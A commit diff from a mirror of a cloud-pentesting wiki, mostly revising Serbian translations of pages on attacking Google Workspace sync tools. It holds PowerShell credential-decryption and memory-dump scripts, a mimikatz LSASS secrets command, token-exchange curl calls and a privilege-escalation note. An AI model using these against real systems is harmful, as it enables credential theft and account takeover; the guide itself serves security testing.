mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-02 19:10:06 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
+12
-12
@@ -6,7 +6,7 @@
|
||||
|
||||
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
|
||||
|
||||
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Dakle, može biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
|
||||
> [!NOTE]
|
||||
> Da biste izvršili **MitM** na **`config-manager.exe`** binarnu datoteku, jednostavno dodajte sledeću liniju u `config.manager.vmoptions` datoteku: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
@@ -20,7 +20,7 @@ Takođe imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ak
|
||||
|
||||
### GCDS - Disk tokeni i AD akreditive
|
||||
|
||||
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
|
||||
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup po defaultu u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`** po defaultu. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
|
||||
|
||||
Štaviše, registar **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** unutar ključa **`open.recent`** sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće **proveriti to da ih pronađete**.
|
||||
|
||||
@@ -54,7 +54,7 @@ Napomena kako su **refresh** **token** i **password** korisnika **šifrovani** k
|
||||
<details>
|
||||
|
||||
<summary>Powershell skripta za dešifrovanje refresh tokena i lozinke</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -154,15 +154,15 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
|
||||
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni fajl **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
|
||||
|
||||
### GCDS - Ispis tokena iz memorije
|
||||
### GCDS - Ispisivanje tokena iz memorije
|
||||
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog fajla GCDS sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći AD konfigurisanih kredencijala.
|
||||
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane akreditive.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispis procesa config-manager.exe i pretraga tokena</summary>
|
||||
```powershell
|
||||
<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
### GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena
|
||||
|
||||
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajni ključ klijenta navedene u sledećoj komandi:
|
||||
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GCDS - Opsezi
|
||||
### GCDS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji opseg za access token jer možete zatražiti samo **opsege koje podržava aplikacija u kojoj generišete access token**.
|
||||
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
|
||||
>
|
||||
> Takođe, refresh token nije važeći u svakoj aplikaciji.
|
||||
|
||||
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth opsezima, pa možemo koristiti sledeći skript da pronađemo opsege koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
Po defaultu, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash skript za brute-force opsege</summary>
|
||||
<summary>Bash skript za brute-force scope-ove</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
|
||||
+15
-17
@@ -11,7 +11,7 @@ Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnic
|
||||
|
||||
### GCPW - MitM
|
||||
|
||||
Kada korisnik pristupi Windows PC-u sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će PC zameniti za refresh token u zahtevu kao:
|
||||
Kada korisnik pristupi Windows PC-u sinhronizovanom sa Google Workspace putem GCPW, biće potrebno da popuni uobičajeni obrazac za prijavu. Ovaj obrazac za prijavu će vratiti OAuth kod koji će PC zameniti za refresh token u zahtevu kao što je:
|
||||
```http
|
||||
POST /oauth2/v4/token HTTP/2
|
||||
Host: www.googleapis.com
|
||||
@@ -27,10 +27,8 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Nova linija je dodata da bi se poboljšala čitljivost.
|
||||
|
||||
> [!NOTE]
|
||||
> Bilo je moguće izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
|
||||
> Moguće je izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
|
||||
> Ne zaboravite da **blokirate QUICK UDP** saobraćaj u `Proxifier` kako bi se prešao na TCP komunikaciju i mogli biste ga videti.
|
||||
>
|
||||
> Takođe konfigurišite u "Serviced and other users" obe opcije i instalirajte Burp CA certifikat u Windows.
|
||||
@@ -40,7 +38,7 @@ Pored toga, dodavanjem ključeva `enable_verbose_logging = 1` i `log_file_path =
|
||||
### GCPW - Otisak prsta
|
||||
|
||||
Moguće je proveriti da li je GCPW instaliran na uređaju proverom da li postoji sledeći proces ili da li postoje sledeći registri:
|
||||
```powershell
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -64,7 +62,7 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh token** ako se korisnik nedavno prijavio.
|
||||
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh tokenu** ako se korisnik nedavno prijavio.
|
||||
|
||||
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su dozvoljeni za prijavu u ključeve `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
|
||||
|
||||
@@ -98,7 +96,7 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle.
|
||||
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle-a.
|
||||
|
||||
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana tokom kojih korisnik ne mora ponovo da se autentifikuje sa Google-om direktno).
|
||||
|
||||
@@ -111,7 +109,7 @@ Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći
|
||||
<details>
|
||||
|
||||
<summary>Dobijte <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> podatke i dekriptujte refresh_tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -169,25 +167,25 @@ Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=FEQxH
|
||||
|
||||
### GCPW - Tokeni za osvežavanje diska
|
||||
|
||||
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dekripciju **`refresh_tokens`** koji se nalazi unutar **Google Chrome profila** korisnika kao što su:
|
||||
Datoteka **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dešifrovanje **`refresh_tokens`** koji se nalaze unutar **Google Chrome profila** korisnika kao što su:
|
||||
|
||||
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
|
||||
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dekriptovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dešifrovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
|
||||
Štaviše, enkripcija se može pronaći u ovom kodu: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
|
||||
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim ima [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
|
||||
|
||||
### GCPW - Ispisivanje tokena iz memorije procesa
|
||||
|
||||
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretragu** za stringovima vezanim za **access i refresh token**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
|
||||
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretraživanje** stringova povezanih sa **tokenima za pristup i osvežavanje**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati tokene za osvežavanje i/ili pristup u memoriji!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispisivanje Chrome procesa i pretraga tokena</summary>
|
||||
```powershell
|
||||
<summary>Ispisivanje Chrome procesa i pretraživanje tokena</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
</details>
|
||||
|
||||
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
|
||||
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga, ovi dodatni opsezi se mogu pretpostaviti:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -591,7 +589,7 @@ Neki primeri korišćenja nekih od tih opsega:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
@@ -797,7 +795,7 @@ Više [API krajnjih tačaka u dokumentaciji](https://developers.google.com/vault
|
||||
|
||||
## GCPW - Oporavak lozinke u čistom tekstu
|
||||
|
||||
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući šifrovanu lozinku iz **LSASS** koristeći **mimikatz**:
|
||||
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući enkriptovanu lozinku iz **LSASS** koristeći **mimikatz**:
|
||||
```bash
|
||||
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
|
||||
```
|
||||
|
||||
+9
-9
@@ -13,11 +13,11 @@ Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći bina
|
||||
Da biste konfigurisali ovaj binarni fajl (i servis), potrebno je **dati mu pristup Super Admin principalu u Workspace-u**:
|
||||
|
||||
- Prijavite se putem **OAuth** sa Google-om i onda će **sačuvati token u registru (kriptovan)**
|
||||
- Dostupno samo na kontrolerima domena sa GUI
|
||||
- Dati neke **akreditivne podatke Servisnog Naloga iz GCP-a** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
|
||||
- Dostupno samo na domen kontrolerima sa GUI
|
||||
- Dati neke **akreditivne podatke servisnog naloga iz GCP** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
|
||||
- Veoma loša ideja jer ti akreditivi nikada ne isteknu i mogu se zloupotrebiti
|
||||
- Veoma loša ideja dati SA pristup preko workspace-a jer bi SA mogao biti kompromitovan u GCP-u i moguće je prebaciti se na Workspace
|
||||
- Google to zahteva za kontrolisane domene bez GUI
|
||||
- Google to zahteva za domen kontrolisane bez GUI
|
||||
- Ovi akreditivi se takođe čuvaju u registru
|
||||
|
||||
Što se tiče AD-a, moguće je naznačiti da koristi trenutni **kontekst aplikacija, anonimno ili neke specifične akreditive**. Ako je opcija akreditiva izabrana, **korisničko ime** se čuva unutar fajla na **disku** a **lozinka** je **kriptovana** i čuva se u **registru**.
|
||||
@@ -31,9 +31,9 @@ U fajlu **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** moguće
|
||||
|
||||
U registru **`HKLM\Software\Google\Google Apps Password Sync`** moguće je pronaći **kriptovani refresh token** i **kriptovanu lozinku** za AD korisnika (ako ih ima). Štaviše, ako se umesto tokena koriste neki **SA akreditivi**, takođe je moguće pronaći te kriptovane u toj adresi registra. **Vrednosti** unutar ovog registra su dostupne samo **Administratorima**.
|
||||
|
||||
Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinke i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
Kriptovana **lozinka** (ako je ima) se nalazi unutar ključa **`ADPassword`** i kriptovana je koristeći **`CryptProtectData`** API. Da biste je dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinke i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Kriptovani token (ako ga ima) se nalazi unutar ključa **`AuthToken`** i kriptovan je koristeći **`CryptProtectData`** API. Da biste ga dekriptovali, morate biti isti korisnik kao onaj koji je konfigurisao sinhronizaciju lozinki i koristiti ovu **entropiju** prilikom korišćenja **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Štaviše, takođe je kodiran koristeći base32hex sa rečnikom **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Vrednosti entropije su pronađene korišćenjem alata. Konfigurisano je da prati pozive ka **`CryptUnprotectData`** i **`CryptProtectData`** i zatim je alat korišćen za pokretanje i praćenje `PasswordSync.exe` koji će dekriptovati konfigurisanju lozinku i auth token na početku, a alat će **prikazati vrednosti za korišćenu entropiju** u oba slučaja:
|
||||
@@ -47,12 +47,12 @@ U slučaju da je Password Sync **konfiguran sa SA akreditivima**, takođe će bi
|
||||
### GPS - Ispisivanje tokena iz memorije
|
||||
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `PasswordSync.exe` i `password_sync_service.exe` i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći konfiguracione akreditive za AD.
|
||||
Pretpostavljam da biste takođe mogli pronaći konfigurirane akreditive za AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispisivanje <code>PasswordSync.exe</code> i <code>password_sync_service.exe</code> procesa i pretraga tokena</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -148,7 +148,7 @@ Podrazumevano, GPS neće imati pristup kao korisnik svim mogućim OAuth scope-ov
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash skript za brute-force scope-ove</summary>
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
|
||||
Koji je isti kao onaj koji dobijate ako ne navedete nikakav opseg.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa ovim opsegom možete **modifikovati lozinku postojećeg korisnika kako biste eskalirali privilegije**.
|
||||
> Sa ovim opsegom možete **izmeniti lozinku postojećeg korisnika kako biste eskalirali privilegije**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user